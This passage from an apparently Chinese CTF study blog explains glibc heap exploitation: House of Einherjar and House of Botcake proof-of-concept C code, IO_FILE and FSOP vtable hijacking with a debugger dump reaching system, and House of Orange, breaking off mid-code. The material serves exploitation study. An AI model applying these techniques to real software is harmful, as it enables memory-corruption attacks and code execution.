overlap, and we must know its address.\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">a[<span class="number">0</span>] = <span class="number">0</span>;<span class="comment">// prev_size (Not Used)</span></span><br><span class="line">a[<span class="number">1</span>] = <span class="number">0x60</span>; <span class="comment">// size</span></span><br><span class="line">a[<span class="number">2</span>] = (<span class="type">size_t</span>) a; <span class="comment">// fwd</span></span><br><span class="line">a[<span class="number">3</span>] = (<span class="type">size_t</span>) a; <span class="comment">// bck</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Our fake chunk at %p looks like:\n&quot;</span>, a);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;prev_size (not used): %#lx\n&quot;</span>, a[<span class="number">0</span>]);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;size: %#lx\n&quot;</span>, a[<span class="number">1</span>]);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;fwd: %#lx\n&quot;</span>, a[<span class="number">2</span>]);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;bck: %#lx\n&quot;</span>, a[<span class="number">3</span>]);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nWe allocate 0x28 bytes for &#x27;b&#x27;.\n&quot;</span></span><br><span class="line">   <span class="string">&quot;This chunk will be used to overflow &#x27;b&#x27; with a single null byte into the metadata of &#x27;c&#x27;\n&quot;</span></span><br><span class="line">   <span class="string">&quot;After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n&quot;</span>);</span><br><span class="line"><span class="type">uint8_t</span> *b = (<span class="type">uint8_t</span> *) <span class="built_in">malloc</span>(<span class="number">0x28</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;b: %p\n&quot;</span>, b);</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> real_b_size = malloc_usable_size(b);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Since we want to overflow &#x27;b&#x27;, we need the &#x27;real&#x27; size of &#x27;b&#x27; after rounding: %#x\n&quot;</span>, real_b_size);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* In this case it is easier if the chunk size attribute has a least significant byte with</span></span><br><span class="line"><span class="comment"> * a value of 0x00. The least significant byte of this will be 0x00, because the size of </span></span><br><span class="line"><span class="comment"> * the chunk includes the amount requested plus some amount required for the metadata. */</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nWe allocate 0xf8 bytes for &#x27;c&#x27;.\n&quot;</span>);</span><br><span class="line"><span class="type">uint8_t</span> *c = (<span class="type">uint8_t</span> *) <span class="built_in">malloc</span>(<span class="number">0xf8</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;c: %p\n&quot;</span>, c);</span><br><span class="line"></span><br><span class="line"><span class="type">uint64_t</span>* c_size_ptr = (<span class="type">uint64_t</span>*)(c - <span class="number">8</span>);</span><br><span class="line"><span class="comment">// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nc.size: %#lx\n&quot;</span>, *c_size_ptr);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;c.size is: (0x100) | prev_inuse = 0x101\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;We overflow &#x27;b&#x27; with a single null byte into the metadata of &#x27;c&#x27;\n&quot;</span>);</span><br><span class="line"><span class="comment">// VULNERABILITY</span></span><br><span class="line">b[real_b_size] = <span class="number">0</span>;</span><br><span class="line"><span class="comment">// VULNERABILITY</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;c.size: %#lx\n&quot;</span>, *c_size_ptr);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;It is easier if b.size is a multiple of 0x100 so you &quot;</span></span><br><span class="line">   <span class="string">&quot;don&#x27;t change the size of b, only its prev_inuse bit\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Write a fake prev_size to the end of b</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nWe write a fake prev_size to the last %lu bytes of &#x27;b&#x27; so that &quot;</span></span><br><span class="line">   <span class="string">&quot;it will consolidate with our fake chunk\n&quot;</span>, <span class="keyword">sizeof</span>(<span class="type">size_t</span>));</span><br><span class="line"><span class="type">size_t</span> fake_size = (<span class="type">size_t</span>)((c - <span class="keyword">sizeof</span>(<span class="type">size_t</span>) * <span class="number">2</span>) - (<span class="type">uint8_t</span>*) a);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Our fake prev_size will be %p - %p = %#lx\n&quot;</span>, c - <span class="keyword">sizeof</span>(<span class="type">size_t</span>) * <span class="number">2</span>, a, fake_size);</span><br><span class="line">*(<span class="type">size_t</span>*) &amp;b[real_b_size-<span class="keyword">sizeof</span>(<span class="type">size_t</span>)] = fake_size;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Change the fake chunk&#x27;s size to reflect c&#x27;s new prev_size</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nMake sure that our fake chunk&#x27;s size is equal to c&#x27;s new prev_size.\n&quot;</span>);</span><br><span class="line">a[<span class="number">1</span>] = fake_size;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Our fake chunk size is now %#lx (b.size + fake_prev_size)\n&quot;</span>, a[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Now we fill the tcache before we free chunk &#x27;c&#x27; to consolidate with our fake chunk</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nFill tcache.\n&quot;</span>);</span><br><span class="line"><span class="type">intptr_t</span> *x[<span class="number">7</span>];</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>; i&lt;<span class="keyword">sizeof</span>(x)/<span class="keyword">sizeof</span>(<span class="type">intptr_t</span>*); i++) &#123;</span><br><span class="line">x[i] = <span class="built_in">malloc</span>(<span class="number">0xf8</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Fill up tcache list.\n&quot;</span>);</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>; i&lt;<span class="keyword">sizeof</span>(x)/<span class="keyword">sizeof</span>(<span class="type">intptr_t</span>*); i++) &#123;</span><br><span class="line"><span class="built_in">free</span>(x[i]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now we free &#x27;c&#x27; and this will consolidate with our fake chunk since &#x27;c&#x27; prev_inuse is not set\n&quot;</span>);</span><br><span class="line"><span class="built_in">free</span>(c);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Our fake chunk size is now %#lx (c.size + fake_prev_size)\n&quot;</span>, a[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nNow we can call malloc() and it will begin in our fake chunk\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">intptr_t</span> *d = <span class="built_in">malloc</span>(<span class="number">0x158</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Next malloc(0x158) is at %p\n&quot;</span>, d);</span><br><span class="line"></span><br><span class="line"><span class="comment">// tcache poisoning</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n&quot;</span></span><br><span class="line">   <span class="string">&quot;We have to create and free one more chunk for padding before fd pointer hijacking.\n&quot;</span>);</span><br><span class="line"><span class="type">uint8_t</span> *pad = <span class="built_in">malloc</span>(<span class="number">0x28</span>);</span><br><span class="line"><span class="built_in">free</span>(pad);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nNow we free chunk &#x27;b&#x27; to launch a tcache poisoning attack\n&quot;</span>);</span><br><span class="line"><span class="built_in">free</span>(b);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now the tcache list has [ %p -&gt; %p ].\n&quot;</span>, b, pad);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;We overwrite b&#x27;s fwd pointer using chunk &#x27;d&#x27;\n&quot;</span>);</span><br><span class="line"><span class="comment">// requires a heap leak because it assumes the address of d is known.</span></span><br><span class="line"><span class="comment">// since house of einherjar also requires a heap leak, we can simply just use it here.</span></span><br><span class="line">d[<span class="number">0x30</span> / <span class="number">8</span>] = (<span class="type">long</span>)target ^ ((<span class="type">long</span>)&amp;d[<span class="number">0x30</span>/<span class="number">8</span>] &gt;&gt; <span class="number">12</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// take target out</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now we can cash out the target chunk.\n&quot;</span>);</span><br><span class="line"><span class="built_in">malloc</span>(<span class="number">0x28</span>);</span><br><span class="line"><span class="type">intptr_t</span> *e = <span class="built_in">malloc</span>(<span class="number">0x28</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nThe new chunk is at %p\n&quot;</span>, e);</span><br><span class="line"></span><br><span class="line"><span class="comment">// sanity check</span></span><br><span class="line">assert(e == target);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Got control on target/stack!\n\n&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>我们来简单梳理一下上述代码的攻击步骤：</p><ul><li>首先创建chunk_a，在自身堆块中伪造一个<code>presize=0, size=0x60</code>，并且<strong>fd和bk均指向伪造的fake_chunk</strong>（为了绕过unlink检测）。</li><li>再分配一个chunk_b，用来对后续堆块进行<code>off-by-null</code>写入，并为后续攻击做准备。</li><li>分配chunk_c，该堆块大小为<strong>0x100</strong>，是为了在<code>off-by-null</code>修改时只修改<code>PREV_INUSE</code>位，而不改变size，以绕过对size的检查。</li><li>计算<strong>chunk_c与fake_chunk的距离</strong>，并写入chunk_c的presize位。同时修改fake_chunk的size也为该值。</li><li>填满0x100大小的tcache，保证chunk_c会进入unsortedbin进行后向合并。</li><li>此时再释放chunk_c，与fake_chunk进行后向合并，分配一个较大堆块可以控制chunk_b内容，此时chunk_b还可以直接控制，在释放chunk_b之前，先释放一个pad，以供后续修改chunk_b的fd后申请到target绕过<code>tcache_count</code>.</li></ul><p>经典例题：2016 Seccon tinypad（ctf-wiki中可找到题目文件）</p><h2 id="IO-FILE-attack"><a href="#IO-FILE-attack" class="headerlink" title="IO_FILE attack"></a>IO_FILE attack</h2><h3 id="IO结构体"><a href="#IO结构体" class="headerlink" title="IO结构体"></a>IO结构体</h3><p><code>_IO_FILE_PLUS</code>定义：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE_plus</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  _IO_FILE file;</span><br><span class="line">  <span class="type">const</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_jump_t</span> *<span class="title">vtable</span>;</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure></div><p><code>vtable</code>是虚表指针，其指向的结构体如下，表中的每个函数会完成对应的功能：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_jump_t</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    JUMP_FIELD(<span class="type">size_t</span>, __dummy);</span><br><span class="line">    JUMP_FIELD(<span class="type">size_t</span>, __dummy2);</span><br><span class="line">    JUMP_FIELD(_IO_finish_t, __finish);</span><br><span class="line">    JUMP_FIELD(_IO_overflow_t, __overflow);</span><br><span class="line">    JUMP_FIELD(_IO_underflow_t, __underflow);</span><br><span class="line">    JUMP_FIELD(_IO_underflow_t, __uflow);</span><br><span class="line">    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);</span><br><span class="line">    <span class="comment">/* showmany */</span></span><br><span class="line">    JUMP_FIELD(_IO_xsputn_t, __xsputn);</span><br><span class="line">    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);</span><br><span class="line">    JUMP_FIELD(_IO_seekoff_t, __seekoff);</span><br><span class="line">    JUMP_FIELD(_IO_seekpos_t, __seekpos);</span><br><span class="line">    JUMP_FIELD(_IO_setbuf_t, __setbuf);</span><br><span class="line">    JUMP_FIELD(_IO_sync_t, __sync);</span><br><span class="line">    JUMP_FIELD(_IO_doallocate_t, __doallocate);</span><br><span class="line">    JUMP_FIELD(_IO_read_t, __read);</span><br><span class="line">    JUMP_FIELD(_IO_write_t, __write);</span><br><span class="line">    JUMP_FIELD(_IO_seek_t, __seek);</span><br><span class="line">    JUMP_FIELD(_IO_close_t, __close);</span><br><span class="line">    JUMP_FIELD(_IO_stat_t, __stat);</span><br><span class="line">    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);</span><br><span class="line">    JUMP_FIELD(_IO_imbue_t, __imbue);</span><br><span class="line"><span class="meta">#<span class="keyword">if</span> 0</span></span><br><span class="line">    get_column;</span><br><span class="line">    set_column;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure></div><p><code>_IO_FILE</code>结构体如下：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span> &#123;</span></span><br><span class="line">      <span class="type">int</span> _flags;</span><br><span class="line">    <span class="meta">#<span class="keyword">define</span> _IO_file_flags _flags</span></span><br><span class="line"> </span><br><span class="line">    <span class="type">char</span>* _IO_read_ptr;   <span class="comment">/* Current read pointer */</span></span><br><span class="line">    <span class="type">char</span>* _IO_read_end;   <span class="comment">/* End of get area. */</span></span><br><span class="line">    <span class="type">char</span>* _IO_read_base;  <span class="comment">/* Start of putback+get area. */</span></span><br><span class="line">    <span class="type">char</span>* _IO_write_base; <span class="comment">/* Start of put area. */</span></span><br><span class="line">    <span class="type">char</span>* _IO_write_ptr;  <span class="comment">/* Current put pointer. */</span></span><br><span class="line">    <span class="type">char</span>* _IO_write_end;  <span class="comment">/* End of put area. */</span></span><br><span class="line">    <span class="type">char</span>* _IO_buf_base;   <span class="comment">/* Start of reserve area. */</span></span><br><span class="line">    <span class="type">char</span>* _IO_buf_end;    <span class="comment">/* End of reserve area. */</span></span><br><span class="line">    <span class="comment">/* The following fields are used to support backing up and undo. */</span></span><br><span class="line">    <span class="type">char</span> *_IO_save_base; <span class="comment">/* Pointer to start of non-current get area. */</span></span><br><span class="line">    <span class="type">char</span> *_IO_backup_base;  <span class="comment">/* Pointer to first valid character of backup area */</span></span><br><span class="line">    <span class="type">char</span> *_IO_save_end; <span class="comment">/* Pointer to end of non-current get area. */</span></span><br><span class="line"> </span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">IO_marker</span> *_<span class="title">markers</span>;</span></span><br><span class="line"> </span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span> *_<span class="title">chain</span>;</span></span><br><span class="line"> </span><br><span class="line">    <span class="type">int</span> _fileno;</span><br><span class="line"><span class="meta">#<span class="keyword">if</span> 0</span></span><br><span class="line">    <span class="type">int</span> _blksize;</span><br><span class="line"><span class="meta">#<span class="keyword">else</span></span></span><br><span class="line">    <span class="type">int</span> _flags2;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line">    _IO_off_t _old_offset;</span><br><span class="line"> </span><br><span class="line"><span class="meta">#<span class="keyword">define</span> __HAVE_COLUMN</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">short</span> _cur_column;</span><br><span class="line">    <span class="type">signed</span> <span class="type">char</span> _vtable_offset;</span><br><span class="line">    <span class="type">char</span> _shortbuf[<span class="number">1</span>];</span><br><span class="line">    _IO_lock_t *_lock;</span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> _IO_USE_OLD_IO_FILE</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure></div><p>进程中<code>FILE</code>结构通过<code>_chain</code>域构成一个链表，链表头部为<code>_IO_list_all</code>全局变量，默认情况下依次链接了<code>stderr</code>,<code>stdout</code>,<code>stdin</code>三个文件流，并将新建的流插入到头部，<code>vtable</code>虚表为<code>_IO_file_jumps</code>。</p><h3 id="FSOP"><a href="#FSOP" class="headerlink" title="FSOP"></a>FSOP</h3><p>在libc-2.23下由于对vtable没有任何检查，导致可以通过伪造而调用自己想要调用的函数，具体调用方式为<code>exit()</code>函数中的<code>_IO_flush_all_lockp ()</code>函数，其会刷新<code>_IO_list_all</code>链表中的所有文件流，并且会调用<code>_IO_OVERFLOW</code>函数指针，函数调用具体逻辑为：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span></span><br><span class="line">_IO_flush_all_lockp (<span class="type">int</span> do_lock)</span><br><span class="line">&#123;</span><br><span class="line">...</span><br><span class="line"> <span class="keyword">if</span> (((fp-&gt;_mode &lt;= <span class="number">0</span> &amp;&amp; fp-&gt;_IO_write_ptr &gt; fp-&gt;_IO_write_base)</span><br><span class="line"><span class="meta">#<span class="keyword">if</span> defined _LIBC || defined _GLIBCPP_USE_WCHAR_T</span></span><br><span class="line">   || (_IO_vtable_offset (fp) == <span class="number">0</span></span><br><span class="line">       &amp;&amp; fp-&gt;_mode &gt; <span class="number">0</span> &amp;&amp; (fp-&gt;_wide_data-&gt;_IO_write_ptr</span><br><span class="line">    &gt; fp-&gt;_wide_data-&gt;_IO_write_base))</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line">   )</span><br><span class="line">  &amp;&amp; _IO_OVERFLOW (fp, EOF) == EOF)</span><br><span class="line">result = EOF;</span><br><span class="line">...</span><br></pre></td></tr></table></figure></div><p>由于_IO_FILE结构体中的vtable指针可以被修改，因此可以指向任意我们伪造好的位置。修改好后，只需要满足<code>fp-&gt;mode &lt;= 0 &amp;&amp; fo-&gt;_IO_write_ptr &gt; fp-&gt;_IO_write_base</code>即可进行调用，且调试发现该函数参数为结构体的第一个元素值</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">*RAX  <span class="number">0x7f671d85e550</span> (_IO_2_1_stderr_+<span class="number">16</span>) ◂— <span class="number">0x0</span></span><br><span class="line">*RBX  <span class="number">0x7f671d85e540</span> (_IO_2_1_stderr_) ◂— <span class="string">&#x27;LookHere&#x27;</span></span><br><span class="line">*RCX  <span class="number">0x7f671d85ec30</span> ◂— <span class="number">0x0</span></span><br><span class="line">*RDX  <span class="number">0x0</span></span><br><span class="line">*RDI  <span class="number">0x7f671d85e540</span> (_IO_2_1_stderr_) ◂— <span class="string">&#x27;LookHere&#x27;</span></span><br><span class="line">*RSI  <span class="number">0xffffffff</span></span><br><span class="line">*R8   <span class="number">0x4</span></span><br><span class="line">*R9   <span class="number">0x0</span></span><br><span class="line">*R10  <span class="number">0x7fff63e6a548</span> —▸ <span class="number">0x7f671da899d8</span> (_rtld_global+<span class="number">2456</span>) —▸ <span class="number">0x7f671d863000</span> ◂— jg     <span class="number">0x7f671d863047</span></span><br><span class="line">*R11  <span class="number">0x3</span></span><br><span class="line">*R12  <span class="number">0x7f671da86700</span> ◂— <span class="number">0x7f671da86700</span></span><br><span class="line">*R13  <span class="number">0x0</span></span><br><span class="line"> R14  <span class="number">0x0</span></span><br><span class="line">*R15  <span class="number">0x2</span></span><br><span class="line">*RBP  <span class="number">0x0</span></span><br><span class="line">*RSP  <span class="number">0x7fff63e6a568</span> —▸ <span class="number">0x7f671d515196</span> ◂— cmp    eax, -<span class="number">1</span></span><br><span class="line">*RIP  <span class="number">0x7f671d4de390</span> (system) ◂— test   rdi, rdi</span><br></pre></td></tr></table></figure></div><h3 id="libc-2-24下的攻击"><a href="#libc-2-24下的攻击" class="headerlink" title="libc-2.24下的攻击"></a>libc-2.24下的攻击</h3><p>这部分内容建议看winmt师傅的文章（膜拜）[<a class="link"   href="https://bbs.kanxue.com/thread-272098.htm#msg_header_h3_15" >原创] CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>。俺不知道该咋写了</p><h2 id="House-of-botcake"><a href="#House-of-botcake" class="headerlink" title="House of botcake"></a>House of botcake</h2><p>这种攻击方法是在tcache中存在key来检测<code>double-free</code>时产生的一种绕过key检测的方法。简单来说就是在程序存在UAF的情况下，通过使unsorted bin和tcache中同时存在某个chunk，来对tcache中chunk的next位进行修改。</p><p>简单poc（环境：ubuntu-22.04   libc-2.36）</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="type">long</span> target = <span class="number">0</span>;   <span class="comment">//目标位置</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//填满tcache</span></span><br><span class="line"><span class="type">long</span>* x[<span class="number">10</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">10</span>; i++)</span><br><span class="line">x[i] = <span class="built_in">malloc</span>(<span class="number">0x90</span>);</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">7</span>; i++)</span><br><span class="line"><span class="built_in">free</span>(x[i]);</span><br><span class="line"><span class="comment">//x[0]---x[6]  in  tcache</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">free</span>(x[<span class="number">7</span>]);</span><br><span class="line"><span class="built_in">free</span>(x[<span class="number">8</span>]);<span class="comment">//x[7]+x[8]  in  unsorted bin， 并且合成为一个大块</span></span><br><span class="line"></span><br><span class="line"><span class="type">long</span>* p1 = <span class="built_in">malloc</span>(<span class="number">0x90</span>);  <span class="comment">//从tcache中申请出一个chunk</span></span><br><span class="line"><span class="built_in">free</span>(x[<span class="number">8</span>]);<span class="comment">//利用UAF将x[8]放入tcache</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//Now, x[8] is in tcache and unsorted bin.</span></span><br><span class="line"><span class="comment">//We firstly malloc 0x130, and we will control x[8]&#x27;s &#x27;next&#x27; area.</span></span><br><span class="line"><span class="comment">//x[8]&#x27;s &#x27;next&#x27; area will target on target&#x27;s address.</span></span><br><span class="line"><span class="type">long</span>* p2 = <span class="built_in">malloc</span>(<span class="number">0x130</span>);</span><br><span class="line">p2[<span class="number">20</span>] = (((<span class="type">long</span>)(&amp;target)&gt;&gt;<span class="number">4</span>)&lt;&lt;<span class="number">4</span>) ^ (x[<span class="number">0</span>][<span class="number">0</span>]);<span class="comment">//修改next，此处位移是因为要0x10对齐</span></span><br><span class="line"></span><br><span class="line"><span class="type">long</span>* p3 = <span class="built_in">malloc</span>(<span class="number">0x90</span>);</span><br><span class="line"><span class="type">long</span>* Ptarget = <span class="built_in">malloc</span>(<span class="number">0x90</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now we successfully got target.\nPtarget: %p\ntarget&#x27;s address: %p\n&quot;</span>, Ptarget, &amp;target);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><strong>攻击步骤：</strong></p><ul><li>填满对应大小的tcache，向unsorted bin中填入两个chunkA和chunkB（<strong>A位于B的上方</strong>），这两个chunk会合并为一个大chunk，不能与top chunk合并</li><li>从tcache中申请出一个chunk，再次<strong>释放chunkB进入tcache</strong>（不能释放A的原因是合并为大chunk时A的size已经改变）</li><li>申请出unsorted bin中的大堆块，并修改chunkB对应next位置的值为target，然后申请两次，即可取出target</li></ul><p>题目：2020祥云杯 garden [<a class="link"   href="https://bbs.kanxue.com/thread-271671.htm" >原创]2020祥云杯garden(house of botcake++)-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><h2 id="House-of-orange"><a href="#House-of-orange" class="headerlink" title="House of orange"></a>House of orange</h2><p><code>house of orange</code>是一种组合漏洞的攻击技巧，用<code>unsorted bin attack</code>配合<code>FSOP</code>进行攻击。</p><ul><li><p>一般可用于程序中没有free函数的情况，可以通过堆溢出来修改top chunk的size（注意页对齐），然后申请大于这个size的chunk，就可以将top chunk放入unsorted bin中</p></li><li><p>然后使用<code>unsorted bin attack</code>修改<code>_IO_list_all</code>为<code>main_arena+88/96</code>。修改后0x60大小的smallbin链表头正好对应<code>_IO_FILE_PLUS</code>结构中的chain域</p></li><li><p>这时我们可以在该chunk位置伪造<code>_IO_FILE_PLUS</code>结构体，并且伪造vtable表。触发<code>abort-&gt;_IO_flush_all_lockp-&gt;_IO_OVERFLOW</code>执行FSOP。(<code>abort</code>由<code>malloc_printerr</code>调用)</p></li></ul><p>修改unsorted bin的bk位后，再申请内存，程序会执行如下流程：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">bck = unsorted_chunks (av);</span><br><span class="line">fwd = bck-&gt;fd;</span><br><span class="line"><span class="keyword">if</span> (__glibc_unlikely (fwd-&gt;bk != bck))<span class="comment">//必进入if，因为之前对unsorted bin进行了伪造，无法满足条件</span></span><br><span class="line">&#123;</span><br><span class="line">     errstr = <span class="string">&quot;malloc(): corrupted unsorted chunks&quot;</span>;</span><br><span 